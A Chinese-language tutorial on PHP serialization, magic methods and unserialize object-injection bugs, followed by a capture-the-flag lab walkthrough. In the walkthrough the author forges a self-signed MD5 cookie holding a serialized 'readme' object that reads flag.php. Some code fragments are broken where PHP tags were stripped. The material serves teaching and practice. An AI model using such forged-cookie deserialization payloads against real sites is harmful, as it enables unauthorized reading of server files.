一、什么是序列化?
将php中 对象、类、数组、变量、匿名函数等,转化为字符串,方便保存到数据库或者文件中。而反序列化就是将这个过程倒过来。
当在php中创建了一个对象后,可以通过serialize()把这个对象变成一个字符串,保存对象的值方便以后传递使用。
';
print_r($a_ser);
echo '
';
$b = array('xiaoming','xiaohong','ligang','dongqin');
$b_ser=serialize($b);
echo "序列化之后的:$b_ser
";
$b_unser = unserialize($b_ser);
$a_unser = unserialize($a_ser);
echo "反序列化之后的b:";
print_r($b_unser);
echo "反序列化之后的a:";
print_r($a_unser);
?>
a的序列化为:O:1:"A":1:{s:4:"test";i:123;}
O:1:"A":1:{s:4:"test";i:123;}
序列化之后的:a:4:{i:0;s:8:"xiaoming";i:1;s:8:"xiaohong";i:2;s:6:"ligang";i:3;s:7:"dongqin";}
反序列化之后的b:Array ( [0] => xiaoming [1] => xiaohong [2] => ligang [3] => dongqin ) 反序列化之后的a:A Object ( [test] => 123 )变量类型:类名长度(字节):类名:属性数量:{属性名类型:属性名长度:属性名:属性值类型:属性值长度:属性值内容}
二、魔术方法(魔术函数 Magic function):一般两个下划线开头的函数都是魔术方法,所谓魔术无非就是会自动调用而已
说白了就是PHP中构造函数,析构函数还有一个__wakeup()函数会被自动调用。
';
}
function __destruct(){
echo '调用了析构函数
';
}
function __wakeup(){
echo '调用了苏醒函数
';
}
}
echo '创建对象a
';
$a = new ABC;
echo '序列化
';
$a_ser=serialize($a);
echo '反序列化
';
$a_unser = unserialize($a_ser);
echo '对象快要死了!';
?>
创建对象a
调用了构造函数
序列化
反序列化
调用了苏醒函数
对象快要死了!调用了析构函数
调用了析构函数
三、反序列化漏洞(本质上是对象注入)
本质上serialize()和unserialize()在php内部的实现上是没有漏洞的,漏洞的主要产生是由于应用程序在处理对象,魔术函数以及序列化相关问题时导致的。
当传给unserialize()的参数可控时,那么用户就可以注入精心构造的payload,当进行反序列化的时候就有可能会触发对象中的一些魔术方法,造成意想不到的危害。
靶场链接:http://59.63.200.79:8010/uns/index.php
HINT:flag就在同目录下的flag.php中(flag in./ flag.php)
靶场源码:
flag in ./flag.php source, true);
}
}
if(isset($_GET['source'])){
$s = new readme();
$s->source = __FILE__;
echo $s;
exit;
}
//$todos = [];
if(isset($_COOKIE['todos'])){
$c = $_COOKIE['todos'];
$h = substr($c, 0, 32);
$m = substr($c, 32);
if(md5($m) === $h){
$todos = unserialize($m);
}
}
if(isset($_POST['text'])){
$todo = $_POST['text'];
$todos[] = $todo;
$m = serialize($todos);
$h = md5($m);
setcookie('todos', $h.$m);
header('Location: '.$_SERVER['REQUEST_URI']);
exit;
}
?>
Readme
Check Code
- =$todo?>
首先,通过url栏直接请求flag.php没有报错,也没有回显。说明正如hint所言,确实有一个flag.php在同源目录下。那么我们能不能通过其他方式将flag.php的内容显示出来呢?
这个程序说白了就是,文本域中输入的任何 序列化的内容,都会被反序列化。
tips:
1.=$a?> 是的一种简写形式,这样写有时可以绕过一些文件上传的检测.注意:这种写法是错误的。而__toString()这个魔术方法会在对象被echo 或者 = 的时候自动调用(其实凡是对象作为字符串操作时都会自动调用)。
2.cookie在存储时,存储的是url编码后的数据,调用cookie时,会先进行url解码
我们只需要先写一个如下程序:
source, true);
}
}
if(isset($_GET['source'])){
$s = new readme();
$s->source = "flag.php";
$s = [$s];
echo serialize($s);
}
//a:1:{i:0;O:6:"readme":1:{s:6:"source";s:8:"flag.php";}}
//MD5加密
//E2D4F7DCC43EE1DB7F69E76303D0105Ca:1:{i:0;O:6:"readme":1:{s:6:"source";s:8:"flag.php";}}
//e2d4f7dcc43ee1db7f69e76303d0105ca:1:{i:0;O:6:"readme":1:{s:6:"source";s:8:"flag.php";}}
//url加密
//E2D4F7DCC43EE1DB7F69E76303D0105Ca%3a1%3a%7bi%3a0%3bO%3a6%3a%22readme%22%3a1%3a%7bs%3a6%3a%22source%22%3bs%3a8%3a%22flag.php%22%3b%7d%7d
?>
然后将url加密之后的结果,手动在控制台中设置为cookie值,然后刷新就能得到flag了。
总结:反序列本身很难有巨大威力,必须将反序列化和某个魔术方法想办法结合在一起,才能产生巨大威力